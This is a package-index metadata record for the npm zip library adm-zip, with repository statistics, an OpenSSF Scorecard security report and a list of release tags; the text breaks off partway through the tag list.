{"id":1393330,"name":"adm-zip","ecosystem":"npm","description":"Javascript implementation of zip for nodejs with support for electron original-fs. Allows user to create or extract zip files both in memory or to/from disk","homepage":"https://github.com/cthackers/adm-zip","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/cthackers/adm-zip","keywords_array":["zip","methods","archive","unzip"],"namespace":null,"versions_count":44,"first_release_published_at":"2012-02-23T13:50:33.546Z","latest_release_published_at":"2026-09-11T10:24:22.219Z","latest_release_number":"0.6.1","latest_published_release_number":"0.6.1","last_synced_at":"2026-10-23T06:49:04.595Z","created_at":"2022-04-08T23:33:02.865Z","updated_at":"2026-10-23T06:49:04.595Z","registry_url":"https://www.npmjs.com/package/adm-zip","install_command":"npm install adm-zip","documentation_url":null,"metadata":{"funding":null,"dist-tags":{"latest":"0.6.1"},"contentPolicy":null},"repo_metadata":{"id":2537871,"uuid":"3515094","full_name":"cthackers/adm-zip","owner":"cthackers","description":"A Javascript implementation of zip for nodejs. Allows user to create or extract zip files both in memory or to/from disk","archived":false,"fork":false,"pushed_at":"2026-10-13T09:27:25.000Z","size":1069,"stargazers_count":2183,"open_issues_count":57,"forks_count":408,"subscribers_count":36,"default_branch":"master","last_synced_at":"2026-10-13T11:50:45.473Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":"","language":"JavaScript","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/cthackers.png","metadata":{"files":{"readme":"README.md","changelog":"history.md","contributing":null,"funding":".github/FUNDING.yml","license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":"SECURITY.md","accessibility":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"claude":null,"gemini":null,"cursor":null,"copilot":null,"dco":null,"cla":null,"disclosure":null},"funding":{"github":"cthackers","buy_me_a_coffee":"cthackers"}},"created_at":"2012-02-22T14:06:15.000Z","updated_at":"2026-10-13T09:27:30.000Z","dependencies_parsed_at":"2026-10-13T11:29:49.775Z","dependency_job_id":null,"html_url":"https://github.com/cthackers/adm-zip","commit_stats":{"total_commits":315,"total_committers":102,"mean_commits":3.088235294117647,"dds":0.7777777777777778,"last_synced_commit":"1cd32f7e0ad3c540142a76609bb538a5cda2292f"},"previous_names":[],"tags_count":43,"template":false,"template_full_name":null,"purl":"pkg:github/cthackers/adm-zip","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cthackers%2Fadm-zip","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cthackers%2Fadm-zip/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cthackers%2Fadm-zip/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cthackers%2Fadm-zip/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/cthackers","download_url":"https://codeload.github.com/cthackers/adm-zip/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cthackers%2Fadm-zip/sbom","scorecard":{"id":311706,"data":{"date":"2025-08-11","repo":{"name":"github.com/cthackers/adm-zip","commit":"1cd32f7e0ad3c540142a76609bb538a5cda2292f"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":3.9,"checks":[{"name":"Code-Review","score":3,"reason":"Found 6/19 approved changesets -- score normalized to 3","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Info: jobLevel 'actions' permission set to 'read': .github/workflows/codeql.yml:40","Info: jobLevel 'contents' permission set to 'read': .github/workflows/codeql.yml:41","Info: jobLevel 'packages' permission set to 'read': .github/workflows/codeql.yml:37","Warn: no topLevel permission defined: .github/workflows/ci.yml:1","Warn: no topLevel permission defined: .github/workflows/codeql.yml:1","Warn: no topLevel permission defined: .github/workflows/windows.yml:1","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:19: update your workflow using https://app.stepsecurity.io/secureworkflow/cthackers/adm-zip/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:22: update your workflow using https://app.stepsecurity.io/secureworkflow/cthackers/adm-zip/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/codeql.yml:59: update your workflow using https://app.stepsecurity.io/secureworkflow/cthackers/adm-zip/codeql.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/codeql.yml:63: update your workflow using https://app.stepsecurity.io/secureworkflow/cthackers/adm-zip/codeql.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/codeql.yml:91: update your workflow using https://app.stepsecurity.io/secureworkflow/cthackers/adm-zip/codeql.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/windows.yml:19: update your workflow using https://app.stepsecurity.io/secureworkflow/cthackers/adm-zip/windows.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/windows.yml:22: update your workflow using https://app.stepsecurity.io/secureworkflow/cthackers/adm-zip/windows.yml/master?enable=pin","Warn: npmCommand not pinned by hash: .github/workflows/ci.yml:28","Info: 0 out of 7 GitHub-owned GitHubAction dependencies pinned","Info: 0 out of 1 npmCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"Maintained","score":0,"reason":"0 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 0","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Security-Policy","score":0,"reason":"security policy file not detected","details":["Warn: no security policy file detected","Warn: no security file to analyze","Warn: no security file to analyze","Warn: no security file to analyze"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: MIT License: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Branch-Protection","score":0,"reason":"branch protection not enabled on development/release branches","details":["Warn: branch protection not enabled for branch 'master'"],"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Vulnerabilities","score":7,"reason":"3 existing vulnerabilities detected","details":["Warn: Project is vulnerable to: GHSA-v6h2-p8h4-qcjw","Warn: Project is vulnerable to: GHSA-mwcw-c2x4-8c55","Warn: Project is vulnerable to: GHSA-76p7-773f-r4q5"],"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"SAST","score":7,"reason":"SAST tool detected but not run on all commits","details":["Info: SAST configuration detected: CodeQL","Warn: 11 commits out of 28 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-17T23:16:47.621Z","repository_id":2537871,"created_at":"2025-08-17T23:16:47.621Z","updated_at":"2025-08-17T23:16:47.621Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":343843146,"owners_count":38271338,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-10-03T21:59:58.778Z","status":"online","status_checked_at":"2026-10-13T02:00:04.984Z","response_time":52,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"cthackers","name":"The Brain","uuid":"210514","kind":"user","description":"Building tools, systems, and a programming language because “good enough” is rarely good enough.","email":"","website":"https://adm-lang.dev","location":"Cluj-Napoca, Romania","twitter":null,"company":"Another-D-Mention Software","icon_url":"https://avatars.githubusercontent.com/u/210514?u=6b3e20d6cb8ca108782b60e68f9ed71202a5dc5c\u0026v=4","repositories_count":17,"last_synced_at":"2026-10-14T05:40:10.592Z","metadata":{"has_sponsors_listing":true,"funding":null},"html_url":"https://github.com/cthackers","funding_links":["https://github.com/sponsors/cthackers"],"total_stars":2232,"followers":74,"following":22,"created_at":"2022-11-02T16:18:52.019Z","updated_at":"2026-10-14T05:40:10.608Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/cthackers","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/cthackers/repositories"},"tags":[{"name":"v0.6.1","sha":"cb2cf9ba4c7c865db426e2de1997cb41194d9872","kind":"commit","published_at":"2026-09-11T10:19:34.000Z","download_url":"https://codeload.github.com/cthackers/adm-zip/tar.gz/v0.6.1","html_url":"https://github.com/cthackers/adm-zip/releases/tag/v0.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cthackers/adm-zip@v0.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cthackers%2Fadm-zip/tags/v0.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cthackers%2Fadm-zip/tags/v0.6.1/manifests"},{"name":"v0.6.0","sha":"2b4d84087d45344643e0183756e19191d52815cc","kind":"commit","published_at":"2026-07-10T20:04:28.000Z","download_url":"https://codeload.github.com/cthackers/adm-zip/tar.gz/v0.6.0","html_url":"https://github.com/cthackers/adm-zip/releases/tag/v0.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cthackers/adm-zip@v0.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cthackers%2Fadm-zip/tags/v0.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cthackers%2Fadm-zip/tags/v0.6.0/manifests"},{"name":"v0.5.18","sha":"8592b1574e7e6e72d06e1afee5d7f0588d541950","kind":"commit","published_at":"2026-06-29T09:07:17.000Z","download_url":"https://codeload.github.com/cthackers/adm-zip/tar.gz/v0.5.18","html_url":"https://github.com/cthackers/adm-zip/releases/tag/v0.5.18","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cthackers/adm-zip@v0.5.18","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cthackers%2Fadm-zip/tags/v0.5.18","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cthackers%2Fadm-zip/tags/v0.5.18/manifests"},{"name":"v0.5.17","sha":"094d08cc75200ab71d334632c735f2dfdb562c59","kind":"commit","published_at":"2026-04-01T09:59:15.000Z","download_url":"https://codeload.github.com/cthackers/adm-zip/tar.gz/v0.5.17","html_url":"https://github.com/cthackers/adm-zip/releases/tag/v0.5.17","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cthackers/adm-zip@v0.5.17","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cthackers%2Fadm-zip/tags/v0.5.17","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cthackers%2Fadm-zip/tags/v0.5.17/manifests"},{"name":"v0.5.16","sha":"1c7860ff5005cd30bf5dc6e557c9b312fedc0a66","kind":"commit","published_at":"2024-08-30T07:40:07.000Z","download_url":"https://codeload.github.com/cthackers/adm-zip/tar.gz/v0.5.16","html_url":"https://github.com/cthackers/adm-zip/releases/tag/v0.5.16","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cthackers/adm-zip@v0.5.16","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cthackers%2Fadm-zip/tags/v0.5.16","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cthackers%2Fadm-zip/tags/v0.5.16/manifests"},{"name":"v0.5.15","sha":"b148463f5f9f67427df6dd19798cdce20bde3d74","kind":"commit","published_at":"2024-08-05T18:40:24.000Z","download_url":"https://codeload.github.com/cthackers/adm-zip/tar.gz/v0.5.15","html_url":"https://github.com/cthackers/adm-zip/releases/tag/v0.5.15","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cthackers/adm-zip@v0.5.15","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cthackers%2Fadm-zip/tags/v0.5.15","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cthackers%2Fadm-zip/tags/v0.5.15/manifests"},{"name":"v0.3.1","sha":"1cac802555d0112b1a555efbd65659e304672710","kind":"tag","published_at":"2024-06-08T23:08:01.000Z","download_url":"https://codeload.github.com/cthackers/adm-zip/tar.gz/v0.3.1","html_url":"https://github.com/cthackers/adm-zip/releases/tag/v0.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cthackers/adm-zip@v0.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cthackers%2Fadm-zip/tags/v0.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cthackers%2Fadm-zip/tags/v0.3.1/manifests"},{"name":"v0.3.2","sha":"bbcbad5d62e5e453cecdd46dea660f0cb0eeb046","kind":"tag","published_at":"2024-06-08T23:02:12.000Z","download_url":"https://codeload.github.com/cthackers/adm-zip/tar.gz/v0.3.2","html_url":"https://github.com/cthackers/adm-zip/releases/tag/v0.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cthackers/adm-zip@v0.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cthackers%2Fadm-zip/tags/v0.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cthackers%2Fadm-zip/tags/v0.3.2/manifests"},{"name":"v0.5.14","sha":"8bc411184de1b5ca28138c53074fb61119994dde","kind":"commit","published_at":"2024-06-04T11:41:15.000Z","download_url":"https://codeload.github.com/cthackers/adm-zip/tar.gz/v0.5.14","html_url":"https://github.com/cthackers/adm-zip/releases/tag/v0.5.14","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cthackers/adm-zip@v0.5.14","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cthackers%2Fadm-zip/tags/v0.5.14","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cthackers%2Fadm-zip/tags/v0.5.14/manifests"},{"name":"v0.5.13","sha":"9314b32b895274249f580253c223ee33a6a4c6c6","kind":"commit","published_at":"2024-06-01T10:13:07.000Z","download_url":"https://codeload.github.com/cthackers/adm-zip/tar.gz/v0.5.13","html_url":"https://github.com/cthackers/adm-zip/releases/tag/v0.5.13","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cthackers/adm-zip@v0.5.13","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cthackers%2Fadm-zip/tags/v0.5.13","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cthackers%2Fadm-zip/tags/v0.5.13/manifests"},{"name":"v0.5.9","sha":"bebbabf600a6ae5d64ee31cbc89a1274bd1d8c1f","kind":"tag","published_at":"2024-06-01T09:32:14.000Z","download_url":"https://codeload.github.com/cthackers/adm-zip/tar.gz/v0.5.9","html_url":"https://github.com/cthackers/adm-zip/releases/tag/v0.5.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cthackers/adm-zip@v0.5.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cthackers%2Fadm-zip/tags/v0.5.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cthackers%2Fadm-zip/tags/v0.5.9/manifests"},{"name":"v0.5.8","sha":"d77f1cf441be3acd7ccaec2580c503f2a1a1f6bb","kind":"tag","published_at":"2024-06-01T09:31:56.000Z","download_url":"https://codeload.github.com/cthackers/adm-zip/tar.gz/v0.5.8","html_url":"https://github.com/cthackers/adm-zip/releases/tag/v0.5.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cthackers/adm-zip@v0.5.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cthackers%2Fadm-zip/tags/v0.5.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cthackers%2Fadm-zip/tags/v0.5.8/manifests"},{"name":"v0.5.7","sha":"c1236b5c1952437fe802b4a216a9308a51910db2","kind":"tag","published_at":"2024-06-01T09:31:36.000Z","download_url":"https://codeload.github.com/cthackers/adm-zip/tar.gz/v0.5.7","html_url":"https://github.com/cthackers/adm-zip/releases/tag/v0.5.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cthackers/adm-zip@v0.5.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cthackers%2Fadm-zip/tags/v0.5.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cthackers%2Fadm-zip/tags/v0.5.7/manifests"},{"name":"v0.5.12","sha":"bd83f197f4a376f3996706d6522588f025b2fc32","kind":"commit","published_at":"2024-03-14T06:49:38.000Z","download_url":"https://codeload.github.com/cthackers/adm-zip/tar.gz/v0.5.12","html_url":"https://github.com/cthackers/adm-zip/releases/tag/v0.5.12","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cthackers/adm-zip@v0.5.12","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cthackers%2Fadm-zip/tags/v0.5.12","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cthackers%2Fadm-zip/tags/v0.5.12/manifests"},{"name":"v0.5.11","sha":"4a684a2e8e05b2c88777f7d3ce032e2b59608187","kind":"commit","published_at":"2024-03-13T14:07:59.000Z","download_url":"https://codeload.github.com/cthackers/adm-zip/tar.gz/v0.5.11","html_url":"https://github.com/cthackers/adm-zip/releases/tag/v0.5.11","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cthackers/adm-zip@v0.5.11","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cthackers%2Fadm-zip/tags/v0.5.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cthackers%2Fadm-zip/tags/v0.5.11/manifests"},{"name":"v0.5.10","sha":"9e52c3fb9deca9726570d9621802d3d276a113a5","kind":"commit","published_at":"2022-12-20T10:56:35.000Z","download_url":"https://codeload.github.com/cthackers/adm-zip/tar.gz/v0.5.10","html_url":"https://github.com/cthackers/adm-zip/releases/tag/v0.5.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cthackers/adm-zip@v0.5.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cthackers%2Fadm-zip/tags/v0.5.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cthackers%2Fadm-zip/tags/v0.5.10/manifests"},{"name":"v0.5.6","sha":"3caa15d50b54d19a2212a11b5a6c86d89caa4a77","kind":"commit","published_at":"2021-07-10T21:22:08.000Z","download_url":"https://codeload.github.com/cthackers/adm-zip/tar.gz/v0.5.6","html_url":"https://github.com/cthackers/adm-zip/releases/tag/v0.5.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cthackers/adm-zip@v0.5.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cthackers%2Fadm-zip/tags/v0.5.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cthackers%2Fadm-zip/tags/v0.5.6/manifests"},{"name":"v0.5.5","sha":"9a1ca460e18af17849542c6c136bd0c5861029f7","kind":"tag","published_at":"2021-03-31T12:00:01.000Z","download_url":"https://codeload.github.com/cthackers/adm-zip/tar.gz/v0.5.5","html_url":"https://github.com/cthackers/adm-zip/releases/tag/v0.5.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cthackers/adm-zip@v0.5.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cthackers%2Fadm-zip/tags/v0.5.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cthackers%2Fadm-zip/tags/v0.5.5/manifests"},{"name":"v0.5.4","sha":"3d8bfc7a86da066131b2208a77148d2970e6234f","kind":"tag","published_at":"2021-03-08T08:28:22.000Z","download_url":"https://codeload.github.com/cthackers/adm-zip/tar.gz/v0.5.4","html_url":"https://github.com/cthackers/adm-zip/releases/tag/v0.5.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cthackers/adm-zip@v0.5.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cthackers%2Fadm-zip/tags/v0.5.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cthackers%2Fadm-zip/tags/v0.5.4/manifests"},{"name":"v0.5.3","sha":"f8b6a3362a6a9fc56be1b755a5b2d7cf61e0e15e","kind":"tag","published_at":"2021-02-18T06:38:58.000Z","download_url":"https://codeload.github.com/cthackers/adm-zip/tar.gz/v0.5.3","html_url":"https://github.com/cthackers/adm-zip/releases/tag/v0.5.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cthackers/adm-zip@v0.5.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cthackers%2Fadm-zip/tags/v0.5.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cthackers%2Fadm-zip/tags/v0.5.3/manifests"},{"name":"v0.5.2","sha":"99838cfab059da2e6712ab566565f0401ee1dfea","kind":"tag","published_at":"2021-01-27T07:11:26.000Z","download_url":"https://codeload.github.com/cthackers/adm-zip/tar.gz/v0.5.2","html_url":"https://github.com/cthackers/adm-zip/releases/tag/v0.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cthackers/adm-zip@v0.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cthackers%2Fadm-zip/tags/v0.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cthackers%2Fadm-zip/tags/v0.5.2/manifests"},{"name":"v0.5.1","sha":"dd415aed4a04da2deacd271bd2db98fdbe794b22","kind":"tag","published_at":"2020-12-05T11:46:36.000Z","download_url":"https://codeload.github.com/cthackers/adm-zip/tar.gz/v0.5.1","html_url":"https://github.com/cthackers/adm-zip/releases/tag/v0.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cthackers/adm-zip@v0.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cthackers%2Fadm-zip/tags/v0.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cthackers%2Fadm-zip/tags/v0.5.1/manifests"},{"name":"v0.5.0","sha":"bc19feed88af195404efd81facbb891aeb25d9ce","kind":"tag","published_at":"2020-12-05T11:46:33.000Z","download_url":"https://codeload.github.com/cthackers/adm-zip/tar.gz/v0.5.0","html_url":"https://github.com/cthackers/adm-zip/releases/tag/v0.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cthackers/adm-zip@v0.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cthackers%2Fadm-zip/tags/v0.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cthackers%2Fadm-zip/tags/v0.5.0/manifests"},{"name":"v0.4.16","sha":"9d2eb0b81575c0453a883e62480bf1600895705e","kind":"tag","published_at":"2020-12-05T11:46:29.000Z","download_url":"https://codeload.github.com/cthackers/adm-zip/tar.gz/v0.4.16","html_url":"https://github.com/cthackers/adm-zip/releases/tag/v0.4.16","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cthackers/adm-zip@v0.4.16","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cthackers%2Fadm-zip/tags/v0.4.16","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cthackers%2Fadm-zip/tags/v0.4.16/manifests"},{"name":"v0.4.14","sha":"31804986ec98f8f0d7dc2ef79c4055aa1250053b","kind":"tag","published_at":"2020-12-05T11:46:24.000Z","download_url":"https://codeload.github.com/cthackers/adm-zip/tar.gz/v0.4.14","html_url":"https://github.com/cthackers/adm-zip/releases/tag/v0.4.14","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cthackers/adm-zip@v0.4.14","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cthackers%2Fadm-zip/tags/v0.4.14","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cthackers%2Fadm-zip/tags/v0.4.14/manifests"},{"name":"v0.4.13","sha":"cb300c97f4b3b717bc7ba978e72d07b20968722e","kind":"tag","published_at":"2020-12-05T11:46:20.000Z","download_url":"https://codeload.github.com/cthackers/adm-zip/tar.gz/v0.4.13","html_url":"https://github.com/cthackers/adm-zip/releases/tag/v0.4.13","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cthackers/adm-zip@v0.4.13","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cthackers%2Fadm-zip/tags/v0.4.13","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cthackers%2Fadm-zip/tags/v0.4.13/manifests"},{"name":"v0.4.11","sha":"80d259f0ff0393659d0d3b101b45db7678b25c61","kind":"tag","published_at":"2020-12-05T11:46:15.000Z","download_url":"https://codeload.github.com/cthackers/adm-zip/tar.gz/v0.4.11","html_url":"https://github.com/cthackers/adm-zip/releases/tag/v0.4.11","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cthackers/adm-zip@v0.4.11","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cthackers%2Fadm-zip/tags/v0.4.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cthackers%2Fadm-zip/tags/v0.4.11/manifests"},{"name":"v0.4.10","sha":"d01fa8c80c3a5fcf5ce1eda82d96600c62910d3f","kind":"tag","published_at":"2020-12-05T11:46:10.000Z","download_url":"https://codeload.github.com/cthacker